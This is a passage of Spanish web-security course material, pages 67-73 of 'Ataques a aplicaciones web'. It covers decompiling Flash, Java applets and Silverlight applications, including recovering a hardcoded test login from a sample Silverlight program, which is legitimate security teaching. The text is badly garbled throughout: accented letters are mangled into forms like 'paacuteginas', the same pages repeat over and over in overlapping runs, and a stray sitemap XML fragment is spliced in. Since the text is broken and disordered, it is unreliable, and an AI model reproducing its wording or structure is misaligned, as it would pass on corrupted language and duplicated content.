han de llamar a paacuteginas que se los devuelvan en funcioacuten de los paraacutemetros
proporcionados Estos paraacutemetros podriacutean ser vulnerables a las inyecciones de
coacutedigo que se comentaron anteriormente Estas llamadas a ficheros externos
se pueden observar faacutecilmente usando un sniffer del protocolo HTTP
Un ejemplo claro de esto son las paacuteginas que usan un reproductor de audio
en Flash y en las que podemos descargar los ficheros mp3 sin necesidad de ver
el coacutedigo fuente del fichero Flash
CC-BY-NC-ND bull PID_00191662 68 Ataques a aplicaciones web
Figura 49 Captura del fichero mp3 reproducido desde unreproductor web
Tambieacuten es posible en ficheros Flash la descompilacioacuten de los ficheros dando
lugar a un pseudocoacutedigo legible que permitiriacutea a un atacante conocer coacutemo
actuacutea internamente el fichero Ademaacutes es posible convertir el coacutedigo a un en-
samblador de ActionScript7 que podemos modificar y volver a compilar daacuten-
donos la posibilidad por ejemplo de incluir coacutedigo Javascript dentro de un
fichero Flash
Existen muacuteltiples programas para realizar esta accioacuten y aquiacute vamos a mostrar
coacutemo realizar esto mediante el programa Flasm de descarga gratuita
La aplicacioacuten se ejecuta desde consola Recibe el paraacutemetro ndashd para descompi-
lar el fichero swf que recibe Al volcar el coacutedigo por pantalla necesitamos redi-
rigir hacia un fichero de texto la salida del programa En este ejemplo vamos
a realizar la accioacuten con un pequentildeo juego Flash
Figura 50 Ejecucioacuten del comando flasmexe
Este comando parsea el fichero swf y extrae el coacutedigo asociado a eacutel Logra
extraer el coacutedigo y convertirlo en un lenguaje parecido al ensamblador
(7)Es el lenguaje usado internamen-te para programar las aplicacio-nes Flash Tiene una sintaxis pare-cida a Javascript y es un lenguajeinterpretado lo cual significa quepodemos lograr extraer el coacutedigofuente original del fichero swf
CC-BY-NC-ND bull PID_00191662 69 Ataques a aplicaciones web
Figura 51 Volcado del coacutedigo del fichero swf
Conocer el coacutedigo fuente de un fichero swf nos puede ayudar a entender coacutemo
funciona la aplicacioacuten a buscar fallos de seguridad en el coacutedigo o a localizar las
URL a las que hace referencia para cargar informacioacuten dentro de la aplicacioacuten
Flash Una vez localizadas estas URL seriacutea cuestioacuten de probar sobre ellas los
fallos de seguridad comentados en capiacutetulos anteriores
612 Java
Al igual que con los ficheros Flash aunque con menos popularidad en la ac-
tualidad existen los llamados applets Java pequentildeas aplicaciones que se eje-
cutan dentro de nuestro navegador
Java se ejecuta sobre una maacutequina virtual se puede ejecutar el mismo coacutedigo
en cualquier ordenador que implemente la maacutequina virtual de Java Esto tiene
muchas ventajas a la hora de exportar nuestra aplicacioacuten Sin embargo esto
tambieacuten nos permite poder extraer el coacutedigo exactamente igual que lo haciacutea-
mos en Flash
Para realizar esta accioacuten existen programas que efectuacutean esta conversioacuten y nos
muestran el coacutedigo Java original En la captura siguiente el programa usado
es Java Decompiler un programa gratuito que nos permitiraacute realizar estas ac-
ciones
CC-BY-NC-ND bull PID_00191662 70 Ataques a aplicaciones web
Figura 52 Pantalla principal del Java Decompiler
613 NET
Microsoft ha sumado su plataforma NET a la web Existen las aplicaciones
ASPNET que se ejecutan del lado del servidor y que no vamos a poder auditar
maacutes allaacute de los paraacutemetros que reciba Sin embargo estaacute poco a poco expan-
dieacutendose una nueva tecnologiacutea llamada Silverlight Silverlight es un compila-
do NET que se carga desde el servidor mediante un plugin en nuestro navega-
dor Esto al igual que Flash y Java nos permite analizar el coacutedigo fuente de
la aplicacioacuten Silverlight
Figura 53 Aplicacioacuten de muestra de Silverlight
CC-BY-NC-ND bull PID_00191662 71 Ataques a aplicaciones web
En la captura anterior se puede observar una aplicacioacuten Silverlight muy simple
Nos va a solicitar usuario y contrasentildea para lograr entrar Esta aplicacioacuten estaacute
programada para que compruebe los datos introducidos con unos datos que
estaacuten escritos dentro de la aplicacioacuten Esto es un grave fallo de seguridad y
vamos a ver coacutemo analizar el fichero para sacar el usuario y la contrasentildea
vaacutelidos El detalle de coacutedigo Javascript seriacutea
Para descargar una aplicacioacuten Silverlight debemos localizar dentro del coacutedigo
HTML la seccioacuten de coacutedigo que realice la carga del fichero XAP Este fichero
contiene todo el coacutedigo de la aplicacioacuten Silverlight y seraacute lo que nuestro na-
vegador interprete
El fichero XAP contiene una serie de ficheros necesarios para la ejecucioacuten del
programa Estos ficheros son compilados de NET y pueden ser analizados me-
diante programas como NET Reflector Los ficheros contenidos en este fiche-
ro pueden ser extraiacutedos mediante el uso de cualquier programa descompresor
pues realmente es un fichero ZIP
Figura 54ndash Fichero xap descomprimido
Una vez descomprimido se nos muestran una serie de archivos Estos archivos
contienen informacioacuten referente a la interfaz usada por la aplicacioacuten pero
realmente los datos importantes se encuentran en el fichero Test001dll (en el
ejemplo actual) Este fichero puede ser descompilado mediante el programa
indicado anteriormente y acceder al coacutedigo fuente interno En este caso se
observan dos clases principales App y MainPage
CC-BY-NC-ND bull PID_00191662 72 Ataques a aplicaciones web
Figura 55 Detalle del programa descompilado
En la imagen anterior observamos coacutemo en la clase MainPage existe un meacuteto-
do btnOK_Click Este meacutetodo es el llamado cuando pulsamos sobre el botoacuten
de Entrar de la aplicacioacuten En el coacutedigo asociado vemos coacutemo se comprueba el
nombre de usuario con la cadena ldquotestrdquo y la clave con la cadena ldquomelonrdquo
Tanto Silverlight como los applets Java o las aplicaciones Flash son una mera
forma de poner un contenido de una manera maacutes vistosa para el usuario Sin
embargo a veces los desarrolladores web lo usan como un lenguaje de progra-
macioacuten web completamente vaacutelido algo que se ha demostrado muy inseguro
CC-BY-NC-ND bull PID_00191662 73 Ataques a aplicaciones web
Bibliografiacutea
Andreu A (2006) Professional Pen Testing for Web Applications Ed Wrox
Clarke J (2009) SQL Injection Attacks and defense E Syngress
Grossman J et al (2007) Xss Attacks Cross Site Scripting Exploits And Defense Ed Syngress
Scambray J Shema M and Sima C (2006) Hacking Expose Web Applications Ed Mc-Graw-HillOsborne Media
Stuttard D (2007) The Web Application Hackers Handbook Discovering and Exploiting Secu-rity Flaws Ed Wiley
CC-BY-NC-ND bull PID_00191662 67 Ataques a aplicaciones web
lturlgt
lturlgt ltlocgthttpwwwacomfaqltlocgt
ltlastmodgt2004-12-23T180015+0000ltlastmodgt
ltprioritygt03ltprioritygt
lturlgt
lturlgt ltlocgthttpwwwacomaboutltlocgt
ltlastmodgt2004-11-23ltlastmodgt
lturlgt
lturlsetgt
61 Descompiladores de applets web
611 Flash
Flash se ha puesto cada vez maacutes de moda como una manera de ofrecer una
interfaz atractiva al usuario final En la actualidad hay multitud de paacuteginas
que hacen un uso casi abusivo de esta tecnologiacutea Pero debemos tener en con-
sideracioacuten algo importante y es que Flash no es maacutes que la capa de presenta-
cioacuten sobre la capa de datos y nunca una uacutenica capa que se encarga de todo
aunque a veces ocurre
Es por ello por lo que estas paacuteginas en Flash si cargan datos dinaacutemicamente
han de llamar a paacuteginas que se los devuelvan en funcioacuten de los paraacutemetros
proporcionados Estos paraacutemetros podriacutean ser vulnerables a las inyecciones de
coacutedigo que se comentaron anteriormente Estas llamadas a ficheros externos
se pueden observar faacutecilmente usando un sniffer del protocolo HTTP
Un ejemplo claro de esto son las paacuteginas que usan un reproductor de audio
en Flash y en las que podemos descargar los ficheros mp3 sin necesidad de ver
el coacutedigo fuente del fichero Flash
CC-BY-NC-ND bull PID_00191662 68 Ataques a aplicaciones web
Figura 49 Captura del fichero mp3 reproducido desde unreproductor web
Tambieacuten es posible en ficheros Flash la descompilacioacuten de los ficheros dando
lugar a un pseudocoacutedigo legible que permitiriacutea a un atacante conocer coacutemo
actuacutea internamente el fichero Ademaacutes es posible convertir el coacutedigo a un en-
samblador de ActionScript7 que podemos modificar y volver a compilar daacuten-
donos la posibilidad por ejemplo de incluir coacutedigo Javascript dentro de un
fichero Flash
Existen muacuteltiples programas para realizar esta accioacuten y aquiacute vamos a mostrar
coacutemo realizar esto mediante el programa Flasm de descarga gratuita
La aplicacioacuten se ejecuta desde consola Recibe el paraacutemetro ndashd para descompi-
lar el fichero swf que recibe Al volcar el coacutedigo por pantalla necesitamos redi-
rigir hacia un fichero de texto la salida del programa En este ejemplo vamos
a realizar la accioacuten con un pequentildeo juego Flash
Figura 50 Ejecucioacuten del comando flasmexe
Este comando parsea el fichero swf y extrae el coacutedigo asociado a eacutel Logra
extraer el coacutedigo y convertirlo en un lenguaje parecido al ensamblador
(7)Es el lenguaje usado internamen-te para programar las aplicacio-nes Flash Tiene una sintaxis pare-cida a Javascript y es un lenguajeinterpretado lo cual significa quepodemos lograr extraer el coacutedigofuente original del fichero swf
CC-BY-NC-ND bull PID_00191662 69 Ataques a aplicaciones web
Figura 51 Volcado del coacutedigo del fichero swf
Conocer el coacutedigo fuente de un fichero swf nos puede ayudar a entender coacutemo
funciona la aplicacioacuten a buscar fallos de seguridad en el coacutedigo o a localizar las
URL a las que hace referencia para cargar informacioacuten dentro de la aplicacioacuten
Flash Una vez localizadas estas URL seriacutea cuestioacuten de probar sobre ellas los
fallos de seguridad comentados en capiacutetulos anteriores
612 Java
Al igual que con los ficheros Flash aunque con menos popularidad en la ac-
tualidad existen los llamados applets Java pequentildeas aplicaciones que se eje-
cutan dentro de nuestro navegador
Java se ejecuta sobre una maacutequina virtual se puede ejecutar el mismo coacutedigo
en cualquier ordenador que implemente la maacutequina virtual de Java Esto tiene
muchas ventajas a la hora de exportar nuestra aplicacioacuten Sin embargo esto
tambieacuten nos permite poder extraer el coacutedigo exactamente igual que lo haciacutea-
mos en Flash
Para realizar esta accioacuten existen programas que efectuacutean esta conversioacuten y nos
muestran el coacutedigo Java original En la captura siguiente el programa usado
es Java Decompiler un programa gratuito que nos permitiraacute realizar estas ac-
ciones
CC-BY-NC-ND bull PID_00191662 70 Ataques a aplicaciones web
Figura 52 Pantalla principal del Java Decompiler
613 NET
Microsoft ha sumado su plataforma NET a la web Existen las aplicaciones
ASPNET que se ejecutan del lado del servidor y que no vamos a poder auditar
maacutes allaacute de los paraacutemetros que reciba Sin embargo estaacute poco a poco expan-
dieacutendose una nueva tecnologiacutea llamada Silverlight Silverlight es un compila-
do NET que se carga desde el servidor mediante un plugin en nuestro navega-
dor Esto al igual que Flash y Java nos permite analizar el coacutedigo fuente de
la aplicacioacuten Silverlight
Figura 53 Aplicacioacuten de muestra de Silverlight
CC-BY-NC-ND bull PID_00191662 71 Ataques a aplicaciones web
En la captura anterior se puede observar una aplicacioacuten Silverlight muy simple
Nos va a solicitar usuario y contrasentildea para lograr entrar Esta aplicacioacuten estaacute
programada para que compruebe los datos introducidos con unos datos que
estaacuten escritos dentro de la aplicacioacuten Esto es un grave fallo de seguridad y
vamos a ver coacutemo analizar el fichero para sacar el usuario y la contrasentildea
vaacutelidos El detalle de coacutedigo Javascript seriacutea
Para descargar una aplicacioacuten Silverlight debemos localizar dentro del coacutedigo
HTML la seccioacuten de coacutedigo que realice la carga del fichero XAP Este fichero
contiene todo el coacutedigo de la aplicacioacuten Silverlight y seraacute lo que nuestro na-
vegador interprete
El fichero XAP contiene una serie de ficheros necesarios para la ejecucioacuten del
programa Estos ficheros son compilados de NET y pueden ser analizados me-
diante programas como NET Reflector Los ficheros contenidos en este fiche-
ro pueden ser extraiacutedos mediante el uso de cualquier programa descompresor
pues realmente es un fichero ZIP
Figura 54ndash Fichero xap descomprimido
Una vez descomprimido se nos muestran una serie de archivos Estos archivos
contienen informacioacuten referente a la interfaz usada por la aplicacioacuten pero
realmente los datos importantes se encuentran en el fichero Test001dll (en el
ejemplo actual) Este fichero puede ser descompilado mediante el programa
indicado anteriormente y acceder al coacutedigo fuente interno En este caso se
observan dos clases principales App y MainPage
CC-BY-NC-ND bull PID_00191662 72 Ataques a aplicaciones web
Figura 55 Detalle del programa descompilado
En la imagen anterior observamos coacutemo en la clase MainPage existe un meacuteto-
do btnOK_Click Este meacutetodo es el llamado cuando pulsamos sobre el botoacuten
de Entrar de la aplicacioacuten En el coacutedigo asociado vemos coacutemo se comprueba el
nombre de usuario con la cadena ldquotestrdquo y la clave con la cadena ldquomelonrdquo
Tanto Silverlight como los applets Java o las aplicaciones Flash son una mera
forma de poner un contenido de una manera maacutes vistosa para el usuario Sin
embargo a veces los desarrolladores web lo usan como un lenguaje de progra-
macioacuten web completamente vaacutelido algo que se ha demostrado muy inseguro
CC-BY-NC-ND bull PID_00191662 73 Ataques a aplicaciones web
Bibliografiacutea
Andreu A (2006) Professional Pen Testing for Web Applications Ed Wrox
Clarke J (2009) SQL Injection Attacks and defense E Syngress
Grossman J et al (2007) Xss Attacks Cross Site Scripting Exploits And Defense Ed Syngress
Scambray J Shema M and Sima C (2006) Hacking Expose Web Applications Ed Mc-Graw-HillOsborne Media
Stuttard D (2007) The Web Application Hackers Handbook Discovering and Exploiting Secu-rity Flaws Ed Wiley
CC-BY-NC-ND bull PID_00191662 68 Ataques a aplicaciones web
Figura 49 Captura del fichero mp3 reproducido desde unreproductor web
Tambieacuten es posible en ficheros Flash la descompilacioacuten de los ficheros dando
lugar a un pseudocoacutedigo legible que permitiriacutea a un atacante conocer coacutemo
actuacutea internamente el fichero Ademaacutes es posible convertir el coacutedigo a un en-
samblador de ActionScript7 que podemos modificar y volver a compilar daacuten-
donos la posibilidad por ejemplo de incluir coacutedigo Javascript dentro de un
fichero Flash
Existen muacuteltiples programas para realizar esta accioacuten y aquiacute vamos a mostrar
coacutemo realizar esto mediante el programa Flasm de descarga gratuita
La aplicacioacuten se ejecuta desde consola Recibe el paraacutemetro ndashd para descompi-
lar el fichero swf que recibe Al volcar el coacutedigo por pantalla necesitamos redi-
rigir hacia un fichero de texto la salida del programa En este ejemplo vamos
a realizar la accioacuten con un pequentildeo juego Flash
Figura 50 Ejecucioacuten del comando flasmexe
Este comando parsea el fichero swf y extrae el coacutedigo asociado a eacutel Logra
extraer el coacutedigo y convertirlo en un lenguaje parecido al ensamblador
(7)Es el lenguaje usado internamen-te para programar las aplicacio-nes Flash Tiene una sintaxis pare-cida a Javascript y es un lenguajeinterpretado lo cual significa quepodemos lograr extraer el coacutedigofuente original del fichero swf
CC-BY-NC-ND bull PID_00191662 69 Ataques a aplicaciones web
Figura 51 Volcado del coacutedigo del fichero swf
Conocer el coacutedigo fuente de un fichero swf nos puede ayudar a entender coacutemo
funciona la aplicacioacuten a buscar fallos de seguridad en el coacutedigo o a localizar las
URL a las que hace referencia para cargar informacioacuten dentro de la aplicacioacuten
Flash Una vez localizadas estas URL seriacutea cuestioacuten de probar sobre ellas los
fallos de seguridad comentados en capiacutetulos anteriores
612 Java
Al igual que con los ficheros Flash aunque con menos popularidad en la ac-
tualidad existen los llamados applets Java pequentildeas aplicaciones que se eje-
cutan dentro de nuestro navegador
Java se ejecuta sobre una maacutequina virtual se puede ejecutar el mismo coacutedigo
en cualquier ordenador que implemente la maacutequina virtual de Java Esto tiene
muchas ventajas a la hora de exportar nuestra aplicacioacuten Sin embargo esto
tambieacuten nos permite poder extraer el coacutedigo exactamente igual que lo haciacutea-
mos en Flash
Para realizar esta accioacuten existen programas que efectuacutean esta conversioacuten y nos
muestran el coacutedigo Java original En la captura siguiente el programa usado
es Java Decompiler un programa gratuito que nos permitiraacute realizar estas ac-
ciones
CC-BY-NC-ND bull PID_00191662 70 Ataques a aplicaciones web
Figura 52 Pantalla principal del Java Decompiler
613 NET
Microsoft ha sumado su plataforma NET a la web Existen las aplicaciones
ASPNET que se ejecutan del lado del servidor y que no vamos a poder auditar
maacutes allaacute de los paraacutemetros que reciba Sin embargo estaacute poco a poco expan-
dieacutendose una nueva tecnologiacutea llamada Silverlight Silverlight es un compila-
do NET que se carga desde el servidor mediante un plugin en nuestro navega-
dor Esto al igual que Flash y Java nos permite analizar el coacutedigo fuente de
la aplicacioacuten Silverlight
Figura 53 Aplicacioacuten de muestra de Silverlight
CC-BY-NC-ND bull PID_00191662 71 Ataques a aplicaciones web
En la captura anterior se puede observar una aplicacioacuten Silverlight muy simple
Nos va a solicitar usuario y contrasentildea para lograr entrar Esta aplicacioacuten estaacute
programada para que compruebe los datos introducidos con unos datos que
estaacuten escritos dentro de la aplicacioacuten Esto es un grave fallo de seguridad y
vamos a ver coacutemo analizar el fichero para sacar el usuario y la contrasentildea
vaacutelidos El detalle de coacutedigo Javascript seriacutea
Para descargar una aplicacioacuten Silverlight debemos localizar dentro del coacutedigo
HTML la seccioacuten de coacutedigo que realice la carga del fichero XAP Este fichero
contiene todo el coacutedigo de la aplicacioacuten Silverlight y seraacute lo que nuestro na-
vegador interprete
El fichero XAP contiene una serie de ficheros necesarios para la ejecucioacuten del
programa Estos ficheros son compilados de NET y pueden ser analizados me-
diante programas como NET Reflector Los ficheros contenidos en este fiche-
ro pueden ser extraiacutedos mediante el uso de cualquier programa descompresor
pues realmente es un fichero ZIP
Figura 54ndash Fichero xap descomprimido
Una vez descomprimido se nos muestran una serie de archivos Estos archivos
contienen informacioacuten referente a la interfaz usada por la aplicacioacuten pero
realmente los datos importantes se encuentran en el fichero Test001dll (en el
ejemplo actual) Este fichero puede ser descompilado mediante el programa
indicado anteriormente y acceder al coacutedigo fuente interno En este caso se
observan dos clases principales App y MainPage
CC-BY-NC-ND bull PID_00191662 72 Ataques a aplicaciones web
Figura 55 Detalle del programa descompilado
En la imagen anterior observamos coacutemo en la clase MainPage existe un meacuteto-
do btnOK_Click Este meacutetodo es el llamado cuando pulsamos sobre el botoacuten
de Entrar de la aplicacioacuten En el coacutedigo asociado vemos coacutemo se comprueba el
nombre de usuario con la cadena ldquotestrdquo y la clave con la cadena ldquomelonrdquo
Tanto Silverlight como los applets Java o las aplicaciones Flash son una mera
forma de poner un contenido de una manera maacutes vistosa para el usuario Sin
embargo a veces los desarrolladores web lo usan como un lenguaje de progra-
macioacuten web completamente vaacutelido algo que se ha demostrado muy inseguro
CC-BY-NC-ND bull PID_00191662 73 Ataques a aplicaciones web
Bibliografiacutea
Andreu A (2006) Professional Pen Testing for Web Applications Ed Wrox
Clarke J (2009) SQL Injection Attacks and defense E Syngress
Grossman J et al (2007) Xss Attacks Cross Site Scripting Exploits And Defense Ed Syngress
Scambray J Shema M and Sima C (2006) Hacking Expose Web Applications Ed Mc-Graw-HillOsborne Media
Stuttard D (2007) The Web Application Hackers Handbook Discovering and Exploiting Secu-rity Flaws Ed Wiley
CC-BY-NC-ND bull PID_00191662 69 Ataques a aplicaciones web
Figura 51 Volcado del coacutedigo del fichero swf
Conocer el coacutedigo fuente de un fichero swf nos puede ayudar a entender coacutemo
funciona la aplicacioacuten a buscar fallos de seguridad en el coacutedigo o a localizar las
URL a las que hace referencia para cargar informacioacuten dentro de la aplicacioacuten
Flash Una vez localizadas estas URL seriacutea cuestioacuten de probar sobre ellas los
fallos de seguridad comentados en capiacutetulos anteriores
612 Java
Al igual que con los ficheros Flash aunque con menos popularidad en la ac-
tualidad existen los llamados applets Java pequentildeas aplicaciones que se eje-
cutan dentro de nuestro navegador
Java se ejecuta sobre una maacutequina virtual se puede ejecutar el mismo coacutedigo
en cualquier ordenador que implemente la maacutequina virtual de Java Esto tiene
muchas ventajas a la hora de exportar nuestra aplicacioacuten Sin embargo esto
tambieacuten nos permite poder extraer el coacutedigo exactamente igual que lo haciacutea-
mos en Flash
Para realizar esta accioacuten existen programas que efectuacutean esta conversioacuten y nos
muestran el coacutedigo Java original En la captura siguiente el programa usado
es Java Decompiler un programa gratuito que nos permitiraacute realizar estas ac-
ciones
CC-BY-NC-ND bull PID_00191662 70 Ataques a aplicaciones web
Figura 52 Pantalla principal del Java Decompiler
613 NET
Microsoft ha sumado su plataforma NET a la web Existen las aplicaciones
ASPNET que se ejecutan del lado del servidor y que no vamos a poder auditar
maacutes allaacute de los paraacutemetros que reciba Sin embargo estaacute poco a poco expan-
dieacutendose una nueva tecnologiacutea llamada Silverlight Silverlight es un compila-
do NET que se carga desde el servidor mediante un plugin en nuestro navega-
dor Esto al igual que Flash y Java nos permite analizar el coacutedigo fuente de
la aplicacioacuten Silverlight
Figura 53 Aplicacioacuten de muestra de Silverlight
CC-BY-NC-ND bull PID_00191662 71 Ataques a aplicaciones web
En la captura anterior se puede observar una aplicacioacuten Silverlight muy simple
Nos va a solicitar usuario y contrasentildea para lograr entrar Esta aplicacioacuten estaacute
programada para que compruebe los datos introducidos con unos datos que
estaacuten escritos dentro de la aplicacioacuten Esto es un grave fallo de seguridad y
vamos a ver coacutemo analizar el fichero para sacar el usuario y la contrasentildea
vaacutelidos El detalle de coacutedigo Javascript seriacutea
Para descargar una aplicacioacuten Silverlight debemos localizar dentro del coacutedigo
HTML la seccioacuten de coacutedigo que realice la carga del fichero XAP Este fichero
contiene todo el coacutedigo de la aplicacioacuten Silverlight y seraacute lo que nuestro na-
vegador interprete
El fichero XAP contiene una serie de ficheros necesarios para la ejecucioacuten del
programa Estos ficheros son compilados de NET y pueden ser analizados me-
diante programas como NET Reflector Los ficheros contenidos en este fiche-
ro pueden ser extraiacutedos mediante el uso de cualquier programa descompresor
pues realmente es un fichero ZIP
Figura 54ndash Fichero xap descomprimido
Una vez descomprimido se nos muestran una serie de archivos Estos archivos
contienen informacioacuten referente a la interfaz usada por la aplicacioacuten pero
realmente los datos importantes se encuentran en el fichero Test001dll (en el
ejemplo actual) Este fichero puede ser descompilado mediante el programa
indicado anteriormente y acceder al coacutedigo fuente interno En este caso se
observan dos clases principales App y MainPage
CC-BY-NC-ND bull PID_00191662 72 Ataques a aplicaciones web
Figura 55 Detalle del programa descompilado
En la imagen anterior observamos coacutemo en la clase MainPage existe un meacuteto-
do btnOK_Click Este meacutetodo es el llamado cuando pulsamos sobre el botoacuten
de Entrar de la aplicacioacuten En el coacutedigo asociado vemos coacutemo se comprueba el
nombre de usuario con la cadena ldquotestrdquo y la clave con la cadena ldquomelonrdquo
Tanto Silverlight como los applets Java o las aplicaciones Flash son una mera
forma de poner un contenido de una manera maacutes vistosa para el usuario Sin
embargo a veces los desarrolladores web lo usan como un lenguaje de progra-
macioacuten web completamente vaacutelido algo que se ha demostrado muy inseguro
CC-BY-NC-ND bull PID_00191662 73 Ataques a aplicaciones web
Bibliografiacutea
Andreu A (2006) Professional Pen Testing for Web Applications Ed Wrox
Clarke J (2009) SQL Injection Attacks and defense E Syngress
Grossman J et al (2007) Xss Attacks Cross Site Scripting Exploits And Defense Ed Syngress
Scambray J Shema M and Sima C (2006) Hacking Expose Web Applications Ed Mc-Graw-HillOsborne Media
Stuttard D (2007) The Web Application Hackers Handbook Discovering and Exploiting Secu-rity Flaws Ed Wiley
CC-BY-NC-ND bull PID_00191662 70 Ataques a aplicaciones web
Figura 52 Pantalla principal del Java Decompiler
613 NET
Microsoft ha sumado su plataforma NET a la web Existen las aplicaciones
ASPNET que se ejecutan del lado del servidor y que no vamos a poder auditar
maacutes allaacute de los paraacutemetros que reciba Sin embargo estaacute poco a poco expan-
dieacutendose una nueva tecnologiacutea llamada Silverlight Silverlight es un compila-
do NET que se carga desde el servidor mediante un plugin en nuestro navega-
dor Esto al igual que Flash y Java nos permite analizar el coacutedigo fuente de
la aplicacioacuten Silverlight
Figura 53 Aplicacioacuten de muestra de Silverlight
CC-BY-NC-ND bull PID_00191662 71 Ataques a aplicaciones web
En la captura anterior se puede observar una aplicacioacuten Silverlight muy simple
Nos va a solicitar usuario y contrasentildea para lograr entrar Esta aplicacioacuten estaacute
programada para que compruebe los datos introducidos con unos datos que
estaacuten escritos dentro de la aplicacioacuten Esto es un grave fallo de seguridad y
vamos a ver coacutemo analizar el fichero para sacar el usuario y la contrasentildea
vaacutelidos El detalle de coacutedigo Javascript seriacutea
Para descargar una aplicacioacuten Silverlight debemos localizar dentro del coacutedigo
HTML la seccioacuten de coacutedigo que realice la carga del fichero XAP Este fichero
contiene todo el coacutedigo de la aplicacioacuten Silverlight y seraacute lo que nuestro na-
vegador interprete
El fichero XAP contiene una serie de ficheros necesarios para la ejecucioacuten del
programa Estos ficheros son compilados de NET y pueden ser analizados me-
diante programas como NET Reflector Los ficheros contenidos en este fiche-
ro pueden ser extraiacutedos mediante el uso de cualquier programa descompresor
pues realmente es un fichero ZIP
Figura 54ndash Fichero xap descomprimido
Una vez descomprimido se nos muestran una serie de archivos Estos archivos
contienen informacioacuten referente a la interfaz usada por la aplicacioacuten pero
realmente los datos importantes se encuentran en el fichero Test001dll (en el
ejemplo actual) Este fichero puede ser descompilado mediante el programa
indicado anteriormente y acceder al coacutedigo fuente interno En este caso se
observan dos clases principales App y MainPage
CC-BY-NC-ND bull PID_00191662 72 Ataques a aplicaciones web
Figura 55 Detalle del programa descompilado
En la imagen anterior observamos coacutemo en la clase MainPage existe un meacuteto-
do btnOK_Click Este meacutetodo es el llamado cuando pulsamos sobre el botoacuten
de Entrar de la aplicacioacuten En el coacutedigo asociado vemos coacutemo se comprueba el
nombre de usuario con la cadena ldquotestrdquo y la clave con la cadena ldquomelonrdquo
Tanto Silverlight como los applets Java o las aplicaciones Flash son una mera
forma de poner un contenido de una manera maacutes vistosa para el usuario Sin
embargo a veces los desarrolladores web lo usan como un lenguaje de progra-
macioacuten web completamente vaacutelido algo que se ha demostrado muy inseguro
CC-BY-NC-ND bull PID_00191662 73 Ataques a aplicaciones web
Bibliografiacutea
Andreu A (2006) Professional Pen Testing for Web Applications Ed Wrox
Clarke J (2009) SQL Injection Attacks and defense E Syngress
Grossman J et al (2007) Xss Attacks Cross Site Scripting Exploits And Defense Ed Syngress
Scambray J Shema M and Sima C (2006) Hacking Expose Web Applications Ed Mc-Graw-HillOsborne Media
Stuttard D (2007) The Web Application Hackers Handbook Discovering and Exploiting Secu-rity Flaws Ed Wiley
CC-BY-NC-ND bull PID_00191662 71 Ataques a aplicaciones web
En la captura anterior se puede observar una aplicacioacuten Silverlight muy simple
Nos va a solicitar usuario y contrasentildea para lograr entrar Esta aplicacioacuten estaacute
programada para que compruebe los datos introducidos con unos datos que
estaacuten escritos dentro de la aplicacioacuten Esto es un grave fallo de seguridad y
vamos a ver coacutemo analizar el fichero para sacar el usuario y la contrasentildea
vaacutelidos El detalle de coacutedigo Javascript seriacutea
Para descargar una aplicacioacuten Silverlight debemos localizar dentro del coacutedigo
HTML la seccioacuten de coacutedigo que realice la carga del fichero XAP Este fichero
contiene todo el coacutedigo de la aplicacioacuten Silverlight y seraacute lo que nuestro na-
vegador interprete
El fichero XAP contiene una serie de ficheros necesarios para la ejecucioacuten del
programa Estos ficheros son compilados de NET y pueden ser analizados me-
diante programas como NET Reflector Los ficheros contenidos en este fiche-
ro pueden ser extraiacutedos mediante el uso de cualquier programa descompresor
pues realmente es un fichero ZIP
Figura 54ndash Fichero xap descomprimido
Una vez descomprimido se nos muestran una serie de archivos Estos archivos
contienen informacioacuten referente a la interfaz usada por la aplicacioacuten pero
realmente los datos importantes se encuentran en el fichero Test001dll (en el
ejemplo actual) Este fichero puede ser descompilado mediante el programa
indicado anteriormente y acceder al coacutedigo fuente interno En este caso se
observan dos clases principales App y MainPage
CC-BY-NC-ND bull PID_00191662 72 Ataques a aplicaciones web
Figura 55 Detalle del programa descompilado
En la imagen anterior observamos coacutemo en la clase MainPage existe un meacuteto-
do btnOK_Click Este meacutetodo es el llamado cuando pulsamos sobre el botoacuten
de Entrar de la aplicacioacuten En el coacutedigo asociado vemos coacutemo se comprueba el
nombre de usuario con la cadena ldquotestrdquo y la clave con la cadena ldquomelonrdquo
Tanto Silverlight como los applets Java o las aplicaciones Flash son una mera
forma de poner un contenido de una manera maacutes vistosa para el usuario Sin
embargo a veces los desarrolladores web lo usan como un lenguaje de progra-
macioacuten web completamente vaacutelido algo que se ha demostrado muy inseguro
CC-BY-NC-ND bull PID_00191662 73 Ataques a aplicaciones web
Bibliografiacutea
Andreu A (2006) Professional Pen Testing for Web Applications Ed Wrox
Clarke J (2009) SQL Injection Attacks and defense E Syngress
Grossman J et al (2007) Xss Attacks Cross Site Scripting Exploits And Defense Ed Syngress
Scambray J Shema M and Sima C (2006) Hacking Expose Web Applications Ed Mc-Graw-HillOsborne Media
Stuttard D (2007) The Web Application Hackers Handbook Discovering and Exploiting Secu-rity Flaws Ed Wiley
CC-BY-NC-ND bull PID_00191662 72 Ataques a aplicaciones web
Figura 55 Detalle del programa descompilado
En la imagen anterior observamos coacutemo en la clase MainPage existe un meacuteto-
do btnOK_Click Este meacutetodo es el llamado cuando pulsamos sobre el botoacuten
de Entrar de la aplicacioacuten En el coacutedigo asociado vemos coacutemo se comprueba el
nombre de usuario con la cadena ldquotestrdquo y la clave con la cadena ldquomelonrdquo
Tanto Silverlight como los applets Java o las aplicaciones Flash son una mera
forma de poner un contenido de una manera maacutes vistosa para el usuario Sin
embargo a veces los desarrolladores web lo usan como un lenguaje de progra-
macioacuten web completamente vaacutelido algo que se ha demostrado muy inseguro
CC-BY-NC-ND bull PID_00191662 73 Ataques a aplicaciones web
Bibliografiacutea
Andreu A (2006) Professional Pen Testing for Web Applications Ed Wrox
Clarke J (2009) SQL Injection Attacks and defense E Syngress
Grossman J et al (2007) Xss Attacks Cross Site Scripting Exploits And Defense Ed Syngress
Scambray J Shema M and Sima C (2006) Hacking Expose Web Applications Ed Mc-Graw-HillOsborne Media
Stuttard D (2007) The Web Application Hackers Handbook Discovering and Exploiting Secu-rity Flaws Ed Wiley
CC-BY-NC-ND bull PID_00191662 73 Ataques a aplicaciones web
Bibliografiacutea
Andreu A (2006) Professional Pen Testing for Web Applications Ed Wrox
Clarke J (2009) SQL Injection Attacks and defense E Syngress
Grossman J et al (2007) Xss Attacks Cross Site Scripting Exploits And Defense Ed Syngress
Scambray J Shema M and Sima C (2006) Hacking Expose Web Applications Ed Mc-Graw-HillOsborne Media
Stuttard D (2007) The Web Application Hackers Handbook Discovering and Exploiting Secu-rity Flaws Ed Wiley